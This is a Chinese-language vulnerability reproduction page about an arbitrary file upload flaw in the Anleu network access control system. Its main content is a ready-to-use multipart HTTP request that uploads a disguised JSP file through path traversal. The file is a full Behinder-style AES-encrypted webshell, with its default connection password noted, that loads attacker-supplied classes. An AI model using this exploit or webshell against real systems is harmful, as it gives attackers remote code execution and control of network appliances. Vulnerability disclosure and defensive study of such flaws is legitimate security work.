安略网络准入控制系统任意文件上传漏洞¶

一、漏洞简介¶

二、漏洞影响¶

三、复现过程¶

{width="5.833333333333333in" height="3.357933070866142in"}

POST /uai/download/uploadfileToPath.htm HTTP/1.1
HOST: www.0-sec.org
... ...

-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp"
Content-Type: image/png

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="uploadpath"

../webapps/notifymsg/devreport/
-----------------------------570xxxxxxxxx6025274xxxxxxxx1--

{width="5.833333333333333in" height="1.9321555118110236in"}

{width="5.833333333333333in" height="3.0186636045494315in"}

参考链接¶

https://my.oschina.net/u/4391448/blog/4562455

https://blog.csdn.net/God_XiangYu/article/details/108555525